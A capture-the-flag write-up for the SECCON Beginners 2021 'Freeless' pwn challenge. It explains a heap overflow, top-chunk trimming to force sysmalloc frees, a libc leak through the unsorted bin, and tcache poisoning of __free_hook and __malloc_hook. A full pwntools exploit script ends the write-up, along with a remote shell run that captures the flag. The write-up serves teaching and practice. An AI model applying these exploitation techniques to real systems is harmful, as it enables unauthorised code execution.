SECCON Beginners 2021 / Published

Freeless

With no free available, a top-chunk overflow forces sysmalloc to free memory, enabling a libc leak and tcache poisoning of __free_hook.

pwn

15 min read

Target
amd64, glibc 2.31
RELRO
Full
Canary
Found
NX
Enabled
PIE
Enabled
Challenge brief

free関数を使わなければUse-after-Freeは発生しないですよね?

nc freeless.quals.beginners.seccon.jp 9077

freeless.tar.gz 6bfc2be36c249bf337f074b9229002f531ba0693

Heap menu and binary protections

Let’s just translate the challenge description first.

Translated by DeepL: If you don’t use the free function, Use-after-Free won’t occur, right?

In this challenge, we are provided with a tarball. Upon unpacking it, we are presented with the following files.

vagrant in pwnbox in /CTF/seccon-beginner-2021
❯ tree freeless
.
├── chall
├── libc-2.31.so
└── main.c

How nice, they even provided us with the source code! But let’s not get ahead of ourselves. Let’s start off by checking what security mitigations are present in the binary.

vagrant in pwnbox in /CTF/seccon-beginner-2021/freeless
❯ checksec chall
[*] '/CTF/seccon-beginner-2021/freeless/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Wow, seems like most of the mitigations are enabled. Looks like this will get pretty interesting. Perhaps we should play around with the binary to get a better idea of what it does.

vagrant in pwnbox in /CTF/seccon-beginner-2021/freeless
❯ ./chall
1. new
2. edit
3. show
> 1
index: 0
size: 1
1. new
2. edit
3. show
> 2
index: 0
data: AAAAAAAA
1. new
2. edit
3. show
> 3
index: 0
data: AAAAAAAA
1. new
2. edit
3. show
>
[+] bye

On the surface, this seems like a pretty standard heap menu challenge, with one exception. We can create new items, edit them, and view them. However, there seems to be no way to delete items.

vagrant in pwnbox in /CTF/seccon-beginner-2021/freeless
❯ grep malloc main.c
          note[idx] = (char*)malloc(size);

vagrant in pwnbox in /CTF/seccon-beginner-2021/freeless
❯ grep free main.c

Staying true to its name, free is not called anywhere within the program source. Well, that might pose a problem since freeing memory is quite essential in heap exploits.

Ideally the approach we’d take would be to first leak a libc address, calculate libc base, then call system/one_gadget by overwriting one of the libc hooks e.g. __malloc_hook, __free_hook since this is a Full RELRO enabled binary. But let’s not get ahead of ourselves.

Finding the heap overflow

To begin with, let’s play around with the program a little more to identify what bugs we can potentially leverage.

pwndbg> r
Starting program: /CTF/seccon-beginner-2021/freeless/chall
1. new
2. edit
3. show
> 1
index: 0
size: 24
1. new
2. edit
3. show
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b019ce in __GI___libc_read (fd=0, buf=0x7fffffffe180, nbytes=16) at ../sysdeps/unix/sysv/linux/read.c:26
26      ../sysdeps/unix/sysv/linux/read.c: No such file or directory.

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555758000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x555555758290
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x5555557582b0
Size: 0x20d51

pwndbg> vis 1 0x555555758290

0x555555758290  0x0000000000000000      0x0000000000000021      ........!.......
0x5555557582a0  0x0000000000000000      0x0000000000000000      ................
0x5555557582b0  0x0000000000000000      0x0000000000020d51      ........Q.......         <-- Top chunk

pwndbg> c
Continuing.
2
index: 0
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1. new
2. edit
3. show
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b019ce in __GI___libc_read (fd=0, buf=0x7fffffffe180, nbytes=16) at ../sysdeps/unix/sysv/linux/read.c:26
26      in ../sysdeps/unix/sysv/linux/read.c

pwndbg> vis 1 0x555555758290

0x555555758290  0x0000000000000000      0x0000000000000021      ........!.......
0x5555557582a0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA
0x5555557582b0  0x4141414141414141      0x4141414141414141      AAAAAAAAAAAAAAAA         <-- Top chunk

As seen above, we have a heap overflow bug right off the bat.

C
void readline(char *buf) {
  char c;
  while ((read(0, &c, 1) == 1) && c != '\n')
    *(buf++) = c;
}

This vulnerability can be attributed to the buggy readline function above, which performs an unbounded read of our input (only stopping when it fails to get input from stdin or upon reading in a newline character).

Freeing the top chunk through sysmalloc

This is actually a really useful bug for getting our exploit up and running because we can actually leverage on this to regain our ability to free chunks. How so? Well since we can overwrite the top chunk, one of the intermediate steps in House of Orange comes to mind. In short, we’ll just trigger a call to sysmalloc which calls _int_free. Confused? No worries, let’s break it down.

0x555555758290  0x0000000000000000      0x0000000000000021      ........!.......
0x5555557582a0  0x0000000000000000      0x0000000000000000      ................
0x5555557582b0  0x0000000000000000      0x0000000000020d51      ........Q.......         <-- Top chunk

First, we need to understand what the top chunk is. It is available allocator space at the end of the heap, with a header that records its size. It does not belong to a bin; malloc can split allocations from it while keeping a minimum top remainder. Above, its span is 0x20d50 bytes. The size word 0x20d51 also has the PREV_INUSE bit set, which describes the previous chunk. Let’s verify the span.

0x555555758290  0x0000000000000000      0x0000000000000021      ........!.......
0x5555557582a0  0x0000000000000000      0x0000000000000000      ................
0x5555557582b0  0x0000000000000000      0x0000000000020d51      ........Q.......         <-- Top chunk
pwndbg> vmmap heap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555758000     0x555555779000 rw-p    21000 0      [heap]
pwndbg> p/x 0x555555779000-0x5555557582b0
$1 = 0x20d50

As seen above, we’ve confirmed that 0x20d50 is indeed the size of the remaining available memory in the heap. So what happens when the heap has insufficient memory to service a malloc request? Let’s read the glibc 2.31 source code to find out!

C
# Snippet from glibc 2.31 source malloc/malloc.c

/* ----------- Routines dealing with system allocation -------------- */

/*
    sysmalloc handles malloc cases requiring more memory from the system.
    On entry, it is assumed that av->top does not have enough
    space to service request for nb bytes, thus requiring that av->top
    be extended or replaced.
  */

According to the above comment in the malloc source, there’s a function called sysmalloc that will be called when the heap does not contain enough space to service the malloc request.

The relevant main-arena branch of sysmalloc shortens the old top by 0x20 bytes to install two fenceposts. It calls _int_free on the remaining old-top chunk if that chunk is at least MINSIZE, which is 0x20 in this supplied libc. This branch sets PREV_INUSE without NON_MAIN_ARENA.

The top can satisfy a request only when its span covers the normalized allocation size plus a 0x20 minimum remainder. With the original 0x20d50 span, the challenge’s request limit prevents us from exhausting it in one allocation.

C
if (size >= 0x1000) {
  print("[-] size too big\n");
} else {
  note[idx] = (char*)malloc(size);
}

The check rejects requests of 0x1000 bytes or more, so the largest permitted request is 0xfff bytes.

C
#define MAX_NOTE 0x10

char *note[MAX_NOTE];

Additionally, we are only allowed to perform up to 16 allocations. Therefore, performing multiple allocations to exhaust 0x20d50 bytes is not an option. Thankfully, we can easily bypass this restriction by overwriting the top chunk size field using the heap overflow bug that we’ve identified earlier.

Trimming the top chunk

C
# Snippet from glibc 2.31 source malloc/malloc.c

assert ((old_top == initial_top (av) && old_size == 0) ||
      ((unsigned long) (old_size) >= MINSIZE &&
       prev_inuse (old_top) &&
       ((unsigned long) old_end & (pagesize - 1)) == 0));

Before we blindly overwrite the top chunk size using our heap overflow bug, there are a couple of restrictions that we have to take note of. With reference to the above lines in the malloc souce, we have to ensure that the top chunk size:

  1. Is at least the minimum chunk size, MINSIZE = 0x20
  2. Has the PREV_INUSE bit set
  3. Ends at a page boundary: the top header address plus its span must be a multiple of 0x1000
    • Here the top header is at heap base plus 0x2b0, after chunks spanning 0x290 and 0x20. A forged span of 0x1000 - 0x290 - 0x20 = 0xd50 therefore ends at the next page boundary.
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555758000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x555555758290
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x5555557582b0
Size: 0x20d51

We can retain the last three nibbles of the size word: 0x20d51 -> 0xd51. This records a 0xd50 span with PREV_INUSE set; changing the word does not unmap the memory beyond it. The script’s next request is 0xd48 bytes, which is below the 0xfff limit.

0x56176779e290  0x0000000000000000      0x0000000000000021      ........!.......
0x56176779e2a0  0x6161616261616161      0x6161616461616163      aaaabaaacaaadaaa
0x56176779e2b0  0x6161616661616165      0x0000000000000d51      eaaafaaaQ.......         <-- Top chunk

We use the overflow to trim the top, then request 0xd48 bytes. In this allocator, that request normalizes to a 0xd50 chunk. The forged top also spans 0xd50, so it cannot supply the allocation and leave the required 0x20 remainder. This forces sysmalloc to replace the top.

0x56176779e290  0x0000000000000000      0x0000000000000021      ........!.......
0x56176779e2a0  0x6161616261616161      0x6161616461616163      aaaabaaacaaadaaa
0x56176779e2b0  0x6161616661616165      0x0000000000000d31      eaaafaaa1.......         <-- unsortedbin[all][0]
0x56176779e2c0  0x00007f1cda12fbe0      0x00007f1cda12fbe0      ................
0x56176779e2d0  0x0000000000000000      0x0000000000000000      ................
0x56176779e2e0  0x0000000000000000      0x0000000000000000      ................

---------------------------------TRUNCATED--------------------------------------

0x56176779efd0  0x0000000000000000      0x0000000000000000      ................
0x56176779efe0  0x0000000000000d30      0x0000000000000010      0...............
0x56176779eff0  0x0000000000000000      0x0000000000000011      ................

We note that after the allocation, there are 3 new chunks created from the free space of 0xd50. We have one 0xd30 sized chunk (that has been linked into unsortedbins), and two 0x10 sized chunks. What are these 0x10 sized chunks? Once again, let’s consult the glibc source.

C
# Snippet from glibc 2.31 source malloc/malloc.c

/*
  If not the first time through, we either have a
  gap due to foreign sbrk or a non-contiguous region.  Insert a
  double fencepost at old_top to prevent consolidation with space
  we don't own. These fenceposts are artificial chunks that are
  marked as inuse and are in any case too small to use.  We need
  two to make sizes and alignments work out.
 */

As seen from the above comment, sysmalloc inserts two fenceposts to prevent consolidation across the boundary. Their artificial 0x10 spans are smaller than the normal 0x20 minimum chunk size. Both initially have size word 0x11; freeing the preceding old top clears the first fencepost’s PREV_INUSE bit, leaving the recorded words 0x10 and 0x11.

What about the 0xd50 size chunk that we requested for?

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x56176779e000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x56176779e290
Size: 0x21

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x56176779e2b0
Size: 0xd31
fd: 0x7f1cda12fbe0
bk: 0x7f1cda12fbe0

Allocated chunk
Addr: 0x56176779efe0
Size: 0x10

Allocated chunk | PREV_INUSE
Addr: 0x56176779eff0
Size: 0x11

Allocated chunk
Addr: 0x56176779f000
Size: 0x00

pwndbg> version
Gdb:      8.1.1
Python:   3.6.9 (default, Jan 26 2021, 15:33:00)  [GCC 8.4.0]
Pwndbg:   1.1.0 build: f74aa34

Notice that pwndbg’s heap command doesn’t seem to detect that new allocation. This is probably a bug, and is present in version 1.1.0 build: f7aa34 as seen above. So we’ll have to find it ourself.

pwndbg> dq &note
000056176626d040     000056176779e2a0 00005617677bf010
000056176626d050     0000000000000000 0000000000000000
000056176626d060     0000000000000000 0000000000000000
000056176626d070     0000000000000000 0000000000000000

pwndbg> vis 1 0x5617677bf010-0x10

0x5617677bf000  0x0000000000000000      0x0000000000000d51      ........Q.......
0x5617677bf010  0x0000000000000000      0x0000000000000000      ................
0x5617677bf020  0x0000000000000000      0x0000000000000000      ................

pwndbg> vis 1 0x5617677bf010-0x10+0xd50

0x5617677bfd50  0x0000000000000000      0x00000000000212b1      ................         <-- Top chunk

Since the challenge binary isn’t stripped, we can check the note array, which tracks the allocated notes. The 0xd48-byte request returned a chunk spanning 0xd50, and the top is now at 0x5617677bfd50.

Relative to this run’s original heap base, the replacement allocation B starts at +0x21000, and the new top starts at +0x21d50. The bytes skipped between +0x1000 and +0x21000 remain mapped. These recorded offsets do not imply a separate mmap allocation.

Allocated chunk | PREV_INUSE (Tcache struct (default))
Addr: 0x56176779e000
Size: 0x291

Allocated chunk | PREV_INUSE (First Note)
Addr: 0x56176779e290
Size: 0x21

Free chunk (unsortedbin) | PREV_INUSE (Freed remaining space from initial top)
Addr: 0x56176779e2b0
Size: 0xd31
fd: 0x7f1cda12fbe0
bk: 0x7f1cda12fbe0

Allocated chunk (Fencepost chunk)
Addr: 0x56176779efe0
Size: 0x10

Allocated chunk | PREV_INUSE (Fencepost chunk)
Addr: 0x56176779eff0
Size: 0x11

Allocated chunk | PREV_INUSE (Second Note)
Addr: 0x5617677bf000
Size: 0xd51

Top chunk | PREV_INUSE
Addr: 0x5617677bfd50
Size: 0x212b1

The old top is now split into an unsorted-bin chunk and two fenceposts. The replacement allocation begins at heap offset 0x21000.

The shortened top becomes an unsorted-bin chunk and two fencepostsA 0xd48-byte request becomes 0xd50 and cannot fit the forged top while leaving 0x20. From heap+0x2b0, the old 0xd50 span becomes a 0xd30 unsorted chunk ending at +0xfe0, then two 0x10 fenceposts at +0xfe0 and +0xff0 with size words 0x10 and 0x11; its heap-stored fd and bk point to main_arena+96 in libc. Replacement allocation B starts at +0x21000, new top at +0x21d50, and the skipped bytes remain mapped.Recorded main-heap layoutheap-base offsets · not to scale+0x290+0x2b0+0x1000trimmedsize wordnote A0x20top span 0xd50 · available allocator spacesize word 0x20d51 → 0xd51 (PREV_INUSE = 1)request 0xd48 → normalized 0xd50needs 0xd50 + 0x20 remainder; forged top is too small+0x290+0x2b0+0xfe0+0xff0+0x1000aftersysmallocnote A0x20unsorted chunk · 0xd30size word 0xd31fd = bk = main_arena+96fencepost 1span 0x10word 0x10fencepost 2span 0x10word 0x110xd50 = 0xd30 + 0x10 + 0x10main_arena + 96in libcseparate replacement inset · same heap mappingB +0x21000 · span 0xd50top +0x21d50skipped [+0x1000,+0x21000) bytes remain mapped
Figure 1. The forged top cannot satisfy the request and leave a minimum remainder. Its old span becomes a free chunk and two fenceposts.

Leaking libc from the unsortedbin

The freed heap chunk now contains unsorted-bin fd and bk pointers at header offsets +0x10 and +0x18. In this state, both point to main_arena + 96 in libc. We can leak these heap-stored pointers through the program’s show function.

C
void print(const char *msg) {
  if (write(1, msg, strlen(msg)) < 0)
    _exit(1);
}

With reference to the print function in the program source, show will continue to print until it encounters a null byte (since strlen is used to determine how much printing to do). So all we have to do is to use the heap overflow bug to pad the data (in the first note) all the way until the libc address that we want to leak.

0x56176779e290  0x0000000000000000      0x0000000000000021      ........!.......
0x56176779e2a0  0x6161616261616161      0x6161616461616163      aaaabaaacaaadaaa
0x56176779e2b0  0x6161616661616165      0x6161616861616167      eaaafaaa1.......         <-- unsortedbin[all][0]
0x56176779e2c0  0x00007f1cda12fbe0      0x00007f1cda12fbe0      ................

Using show to print the data of the first note will now allow us to leak 0x7f1cda12fbe0.

Populating the tcachebin

Next, we need to somehow get hold of an arbitrary write primitive that allows us to target __malloc_hook or __free_hook. Since this is glibc 2.31, the easiest way to achieve this is via Tcache Poisoning. To achieve this, we first need to link at least 2 chunks into the same tcachebin. We can do this by leverage on sysmalloc as we did before, except we need the freed chunk to fall within the tcachebin range.

pwndbg> top_chunk
Top chunk
Addr: 0x560f55a40d50
Size: 0x212b1

The current top’s size word ends in 0x2b1. After trimming it, sysmalloc can free 0x2b0 - 0x10 - 0x10 = 0x290 bytes, accounting for the two fenceposts. That chunk fits the 0x290 tcache bin. A 0x2a8-byte request normalizes to 0x2b0 and forces replacement of the trimmed top, but we have some cleanup to do first.

Before that request, we must consume the old 0xd30 unsorted-bin chunk used for the leak. Otherwise, malloc can split a 0x2b0 allocation from it without calling sysmalloc. The script creates C with a 0xd18-byte request, which normalizes to 0xd20. It receives the whole 0xd30 chunk because the 0x10 remainder is below MINSIZE.

Let’s recap what we have to do:

  1. Use heap overflow bug to restore 0xd31 size field that we overwrite to leak the FD pointer.
  2. Request 0xd18 bytes for C to consume the whole 0xd30 unsorted chunk.
  3. Trim top chunk size to 0x2b1 by overflowing from the 0xd50 sized allocation (it’s right above the top chunk).
  4. Request 0x2a8 bytes for a 0x2b0 chunk to trigger sysmalloc and link the old free space into the 0x290 tcache bin.
pwndbg> tcachebins
tcachebins
0x290 [  1]: 0x55b8a6635d60 ◂— 0x0

pwndbg> top_chunk
Top chunk
Addr: 0x55b8a66572b0
Size: 0x21d51

After these steps, one chunk is in the 0x290 tcache bin. To add another, we first reduce the new top by a chunk span of 0xd50 - (0x290 + 0x10 + 0x10) = 0xaa0. The script requests 0xa98 bytes for E, which normalizes to 0xaa0. Trimming the remaining top then leaves another 0x2b0 span.

So in summary:

  1. Request 0xa98 bytes for E, a 0xaa0 chunk; the top size word becomes 0x212b1.
  2. Trim top chunk size to 0x2b1 by overflowing from chunk requested in step 1.
  3. Request 0x2a8 bytes for F, a 0x2b0 chunk, to trigger sysmalloc and add the old top to the 0x290 tcache bin.
pwndbg> tcachebins
tcachebins
0x290 [  2]: 0x56363f628d60 —▸ 0x56363f606d60 ◂— 0x0

Poisoning tcache for an arbitrary write

Awesome! As seen above, we’ve managed to set things up so that we can perform Tcache Poisoning.

pwndbg> vis 2 0x56363f6282c0-0x10

0x56363f6282b0  0x0000000000000000      0x0000000000000aa1      ................
0x56363f6282c0  0x6161616261616161      0x6161616461616163      aaaabaaacaaadaaa
0x56363f6282d0  0x6161616661616165      0x6161616861616167      eaaafaaagaaahaaa
0x56363f6282e0  0x6161616a61616169      0x6161616c6161616b      iaaajaaakaaalaaa
0x56363f6282f0  0x6161616e6161616d      0x616161706161616f      maaanaaaoaaapaaa

---------------------------------TRUNCATED--------------------------------------

0x56363f628d30  0x6175616261746162      0x6177616261766162      batabauabavabawa
0x56363f628d40  0x6179616261786162      0x61626262617a6162      baxabayabazabbba
0x56363f628d50  0x6164626261636262      0x0000000000000291      bbcabbda........
0x56363f628d60  0x000056363f606d60      0x000056363f5e5010      `m`?6V...P^?6V..      <-- tcachebins[0x290][0/2]

The 0xaa0 chunk is E. The freed victim immediately after it is V, not script chunk_F: allocating F triggers the old top’s free. Relative to E’s user pointer, V’s header is at +0xa90, its size word at +0xa98, its tcache next at +0xaa0, and its key at +0xaa8.

The overflow preserves size word 0x291 and replaces next, originally 0x000056363f606d60 in the dump, with target T. Tcache links store user-data pointers, not chunk-header pointers. The historical debugger example below uses 0xdeadbeefdeadbeef only as a recognizable marker; it is not a usable allocation target.

pwndbg> tcachebins
tcachebins
0x290 [  2]: 0x56363f628d60 —▸ 0xdeadbeefdeadbeef ◂— 0x0

The script instead sets T to __free_hook, a writable symbol at libc base plus 0x1eeb28 in the supplied libc. Its tcache retrieval uses an unencoded next pointer: with two entries counted, two 0x288-byte requests normalize to 0x290 and return V, then T. A literal malloc(0x290) would select a different size class.

T is a forged tcache entry, not a normal chunk with a validated header. Retrieval reads T.next and clears the key-sized word at T+8; a later edit supplies the hook bytes at T. The target must support those reads and writes. Hence, we’ve achieved an arbitrary write.

The changed tcache next pointer controls the second allocationFrom E's user pointer, V's header is at +0xa90, size at +0xa98, next at +0xaa0, and key at +0xaa8; the overflow preserves size 0x291 and changes next to T. With two entries counted in tcache[0x290], two 0x288-byte requests return V and then T, the forged entry at __free_hook. Retrieval reads T.next and clears T+8 before a later edit writes the hook bytes.Overflow from E into freed victim Vnot to scale · supplied glibc 2.31E user +0+0xa90+0xa98+0xaa0+0xaa8E user dataE chunk span = 0xaa0V headerprev_sizesize0x291 keptnextT writtenkeytcache keyedit from E; offsets above start at E's user pointerlist arrows point to user data, not headerstcache[0x290]count = 2V user pointernext = Tnew nextold nextolder cached chunkT = __free_hookforged entry1request 0x288 → V2request 0x288 → Tretrieval reads T.nextand clears T+8both requests normalize to 0x290later edit supplies hook bytes
Figure 2. The overflow preserves the victim's size and changes its next pointer. Two 0x288-byte requests then return the victim and the target.

Overwriting libc hooks and spawning a shell

The exploit below uses the two writes to install the hook targets and trigger the one-gadget; the allocator steps above do not control that gadget’s register and stack constraints. Its recorded output follows.

Python
from pwn import *

HOST = "freeless.quals.beginners.seccon.jp"
PORT = 9077

CHALLENGE = "./chall"
CHALLENGE_LIBC = "libc-2.31.so"
DEBUG_LIBC = "libc-2.31-debug.so"

MENU_PROMPT = "> "
INDEX_PROMPT = "index: "
SIZE_PROMPT = "size: "
DATA_PROMPT = "data: "

DATA_MARKER = "data: "

CURRENT_INDEX = 0

elf = context.binary = ELF(CHALLENGE, checksec=False)

if args.REMOTE:
    io = remote(HOST, PORT)
    libc = ELF(CHALLENGE_LIBC, checksec=False)
    # Use posix_spawn one_gadget (tends to be less finnicky)
    # (https://github.com/david942j/one_gadget/issues/121)
    libc.symbols["one_gadget"] = 0x54F89
    libc.symbols["main_arena"] = libc.sym.__malloc_hook + 0x10
else:
    io = elf.process()
    libc = ELF(DEBUG_LIBC, checksec=False)
    libc.symbols["one_gadget"] = 0xBEEF  # one_gadget wont work with debug libc


def create(size: int) -> int:
    global CURRENT_INDEX

    io.sendlineafter(MENU_PROMPT, str(1))
    io.sendlineafter(INDEX_PROMPT, str(CURRENT_INDEX))
    io.sendlineafter(SIZE_PROMPT, str(size))

    CURRENT_INDEX += 1

    return CURRENT_INDEX - 1


def edit(index: int, data: bytes):
    io.sendlineafter(MENU_PROMPT, str(2))
    io.sendlineafter(INDEX_PROMPT, str(index))
    io.sendlineafter(DATA_PROMPT, data)


def view(index: int) -> bytes:
    io.sendlineafter(MENU_PROMPT, str(3))
    io.sendlineafter(INDEX_PROMPT, str(index))
    io.recvuntil(DATA_MARKER)

    return io.recvline()


def extract_address(leak: bytes) -> int:
    return u64(leak[:6].ljust(8, b"\x00"))


# Stage 1: Trigger _int_free to link free space into unsortedbin chunk

chunk_A = create(0x18)
edit(chunk_A, flat({0x18: p64(0xD51)}))
chunk_B = create(0xD48)

# Stage 2: Leak libc address

edit(chunk_A, cyclic(0x20))
main_arena_96 = extract_address(view(chunk_A)[0x20:])
libc.address = main_arena_96 - (libc.sym.main_arena + 96)

log.success(f"libc @ {hex(libc.address)}")

edit(chunk_A, flat({0x18: p64(0xD31)}))
chunk_C = create(0xD18)

# Stage 3: Trigger _int_free to link free space into tcachebins

edit(chunk_B, flat({0xD48: p64(0x2B1)}))
chunk_D = create(0x2A8)  # Link free space (0x290) into tcachebins

# Stage 4: Trigger _int_free to link another chunk into 0x290 tcachebins

# Current free space is 0x21D51
# So if we want to link another 0x290 sized chunk, we have to shrink
# free space by: 0xD50 - (0x290 + 0x20) = 0xAA0
# Note: 0x20 is for the 2 fencepost chunks placed by sysmalloc
# Free space left will be 0x212B1

chunk_E = create(0xA98)  # Shrink free space to (0x290)
edit(chunk_E, flat({0xA98: p64(0x2B1)}))

chunk_F = create(0x2A8)  # Link free space (0x290) into tcachebins

# At this point, we have to set up the following:
# __free_hook -> one_gadget
# __malloc_hook -> free (this will be used to trigger __free_hook)
#
# Otherwise, one_gadget will segfault when rsp dereferenced during:
# movaps xmmword ptr [rsp + 0x50], xmm0

# Stage 5: Perform tcache poisoning (__free_hook -> one_gadget)

edit(chunk_E, flat({0xA98: p64(0x291)}, p64(libc.sym.__free_hook)))
chunk_G = create(0x288)
chunk_H = create(0x288)

edit(chunk_H, p64(libc.sym.one_gadget))

# Stage 6: Link 2 more chunks into 0x290 tcachebins for another write

chunk_I = create(0xA98)  # Shrink free space to (0x290)
edit(chunk_I, flat({0xA98: p64(0x2B1)}))
chunk_J = create(0x2A8)  # Link free space (0x290) into tcachebins

chunk_K = create(0xA98)  # Shrink free space to (0x290)
edit(chunk_K, flat({0xA98: p64(0x2B1)}))
chunk_L = create(0x2A8)  # Link free space (0x290) into tcachebins

# Stage 7: Perform tcache poisoning (__malloc_hook -> free)

edit(chunk_K, flat({0xA98: p64(0x291)}, p64(libc.sym.__malloc_hook)))
chunk_M = create(0x288)
chunk_N = create(0x288)

edit(chunk_N, p64(libc.sym.free + 8))  # +8 to prevent movaps segfault

# Stage 8: Trigger one_gadget

create(0x18)

io.interactive()

The original remote run recorded the following result.

❯ python xpl.py REMOTE
[+] Opening connection to freeless.quals.beginners.seccon.jp on port 9077: Done
[+] libc @ 0x7fd587d70000
[*] Switching to interactive mode
$ cat flag*
ctf4b{sysmalloc_wh4t_R_U_d01ng???}

Result

Flag: ctf4b{sysmalloc_wh4t_R_U_d01ng???}